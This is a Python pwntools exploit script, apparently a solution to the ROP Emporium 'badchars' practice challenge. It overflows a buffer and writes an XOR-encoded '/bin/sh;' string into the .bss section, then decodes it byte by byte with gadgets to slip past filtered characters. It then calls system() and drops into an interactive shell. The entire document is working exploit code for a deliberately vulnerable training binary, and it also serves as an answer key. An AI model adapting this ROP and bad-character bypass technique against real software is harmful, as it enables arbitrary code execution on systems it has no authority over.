#!/usr/bin/env python
# Author : 0xsegf
# https://github.com/arjunshibu
# https://www.hackthebox.eu/home/users/profile/201892
from pwn import *

rop = cyclic(40)
rop += p64(0x400b3b)         # pop r12 ; pop r13 ; ret
rop += '-`kl-qj9'            # '/bin/sh;' xor 2
rop += p64(0x601080)         # .bss section to write into
rop += p64(0x400b34)         # mov qword ptr [r13], r12 ; ret
for i in range(8):
    rop += p64(0x400b40)     # pop r14 ; pop r15 ; ret
    rop += p64(0x2)
    rop += p64(0x601080+i)   # xor each byte points to .bss with 2
    rop += p64(0x400b30)     # xor byte ptr [r15], r14b ; ret
rop += p64(0x400b39)         # pop rdi ; ret
rop += p64(0x601080)         # final '/bin/sh;'
rop += p64(0x4006f0)         # system

p = process('./badchars')
p.sendline(rop)
p.interactive()
